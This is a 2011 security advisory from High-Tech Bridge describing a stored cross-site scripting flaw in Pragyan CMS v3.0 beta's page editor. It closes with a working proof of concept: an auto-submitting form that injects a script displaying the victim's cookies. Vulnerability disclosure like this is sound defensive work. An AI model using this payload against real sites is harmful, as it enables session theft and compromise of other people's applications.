HTB22856: XSS vulnerability in Pragyan CMS

[advisory () htbridge ch]

Vulnerability ID: HTB22856
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_pragyan_cms_1.html
Product: Pragyan CMS
Vendor: Pragyan Team ( http://sourceforge.net/projects/pragyan/ ) 
Vulnerable Version: v.3.0 beta
Vendor Notification: 17 February 2011 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the edit page to properly sanitize user-supplied input in "CKEditor1" 
variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of 
cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/?page=/MY_PAGE_URL/&action=edit"; method="post" name="main">
<input type="hidden" name="CKEditor1" value='page content"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>